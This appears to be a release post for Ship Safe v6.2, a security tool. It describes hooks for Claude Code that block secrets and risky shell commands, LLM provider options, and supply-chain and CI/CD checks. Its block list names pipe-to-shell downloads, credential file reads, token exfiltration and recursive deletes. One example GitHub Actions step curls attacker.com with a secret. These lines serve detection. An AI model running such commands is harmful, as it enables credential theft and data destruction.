Ship Safe v6.2: Real-Time Claude Code Hooks and Universal LLM Support

Ship Safe v6.2 is out. This release is focused on one idea: catching security issues as close to the source as possible, before they ever touch a file on disk.

Claude Code Hooks — Real-Time Secret Blocking

The headline feature is native integration with Claude Code's hooks system. One command installs ship-safe as both a PreToolUse and PostToolUse hook:

npx ship-safe hooks install

After that, every file write Claude Code makes is screened automatically.

How it works

Claude Code fires hooks at two points in its tool execution lifecycle:

PreToolUse runs before the tool executes. For Write, Edit, MultiEdit, and Bash calls, ship-safe scans the content being written. If a critical secret is detected — an AWS Access Key, GitHub PAT, Stripe live key, OpenAI key, PEM private key, and 13 others — the write is blocked before anything reaches the filesystem. Claude sees the block message and is prompted to use an environment variable instead.

PostToolUse runs after a successful write. Ship-safe scans the saved file for high-severity patterns — database URLs with embedded credentials, high-entropy generic tokens, hardcoded passwords — and injects findings directly into Claude's context as advisory messages. Nothing is blocked at this stage; the goal is awareness for the next action.

Dangerous Bash patterns

The PreToolUse hook also intercepts Bash tool calls and blocks:

• curl ... | bash / wget ... | sh — remote script execution without verification
• iex (Invoke-WebRequest ...) — PowerShell equivalent
• cat ~/.aws/credentials — credential file reads
• curl https://... $GITHUB_TOKEN — environment variable exfiltration over the network
• npm install --unsafe-perm — elevated install script privileges
• git commit -m "... ghp_... — secrets embedded in commit messages
• rm -rf / or targeting system paths — recursive force deletes

These are the exact patterns that appear in supply chain attack payloads like CanisterWorm's postinstall scripts.

Why stable paths matter

A subtle but important implementation detail: when you run npx ship-safe hooks install, the hook scripts are copied to ~/.ship-safe/hooks/ — a stable, user-owned directory — before being registered in ~/.claude/settings.json. This is critical.

npx stores packages in a volatile cache directory that can be rotated or cleared at any time. If we registered the npx cache path directly, hooks would silently stop working after a cache rotation. By copying the scripts to a predictable location first, hooks remain functional regardless of what npx does later. Running npx ship-safe hooks install after an update refreshes the scripts.

Precision over recall

All 18 critical patterns require specific, vendor-issued prefixes:

Generic high-entropy patterns (passwords, tokens) are advisory-only and gated by a Shannon entropy threshold of 3.5 — enough to suppress placeholder values like "your-secret-here" while catching real 256-bit random strings.

.env files are allowed but checked for .gitignore coverage. .env.example files are silently skipped entirely.

---

Universal LLM Support

Deep analysis and AI classification now work with any OpenAI-compatible provider via the --provider and --base-url flags:

# Use Groq for fast, cheap deep analysis
npx ship-safe audit . --deep --provider groq

# Use a local LM Studio instance
npx ship-safe audit . --deep --provider lmstudio

# Any OpenAI-compatible endpoint
npx ship-safe audit . --deep --base-url http://localhost:8000/v1 --model my-model

Supported providers with auto-detection from environment variables:

Anthropic, OpenAI, Google, and Ollama continue to work as before and are auto-detected from their existing environment variables. If multiple keys are set, the priority order is Anthropic → OpenAI → Google → Groq → Together → Mistral → DeepSeek → xAI.

---

Supply Chain IOC Matching

The SupplyChainAgent now checks your dependency tree against a list of known-compromised package versions. Currently tracked:

The agent also flags ICP blockchain packages (@dfinity/agent, ic-agent) in the dependency tree as a CanisterWorm C2 indicator. The real CanisterWorm used the Internet Computer Protocol blockchain to host its command-and-control channel, making it resilient to domain takedowns.

---

CI/CD Detection Improvements

Two new patterns in the CICDScanner:

Environment variable exfiltration — catches secrets being sent over the network from GitHub Actions steps:

- run: curl https://attacker.com/?token=${{ secrets.API_KEY }}

OIDC broad subject claims — catches wildcard OIDC trust relationships that allow any branch or PR to assume a cloud role:

# Dangerous: any branch can assume this role
subject: "repo:org/repo:*"

The unpinned action detector was also tightened: @v1, @v1.2.3, and semver tags are now all flagged as unpinned. Only a full 40-character commit SHA is accepted as pinned.

---

What's next

• GitHub App integration — connect repos directly, scheduled scans, PR comments without CI changes
• EPSS live feed — real-time exploit probability scores from FIRST.org
• Hooks for Cursor and Windsurf — same real-time protection for other AI editors

Install the hooks now:

npx ship-safe hooks install
npx ship-safe hooks status

FAQ

What do Claude Code hooks do in Ship Safe?

They block secrets in real time, before the write reaches disk — catching a credential at the moment the assistant proposes it rather than in a scan afterwards.

Why does Ship Safe favour precision over recall in the hooks?

Because a hook that fires on false positives gets disabled, and a disabled hook catches nothing. A blocking control at the point of writing has to be right nearly every time to survive contact with daily use.

Which LLM providers does Ship Safe support?

Universal LLM support means the provider is configurable rather than fixed — see the section above for the current set and the environment variable to set.

Related reading

• Run Ship Safe with Kimi K2.6
• Kimi K3 Now Reviews Every Ship Safe Pull Request
• Vibe Coding Is Fast, But Is It Safe? 7 Security Risks in AI-Generated Code
• MCP Security Is Becoming the New API Security

Ship fast. Ship safe.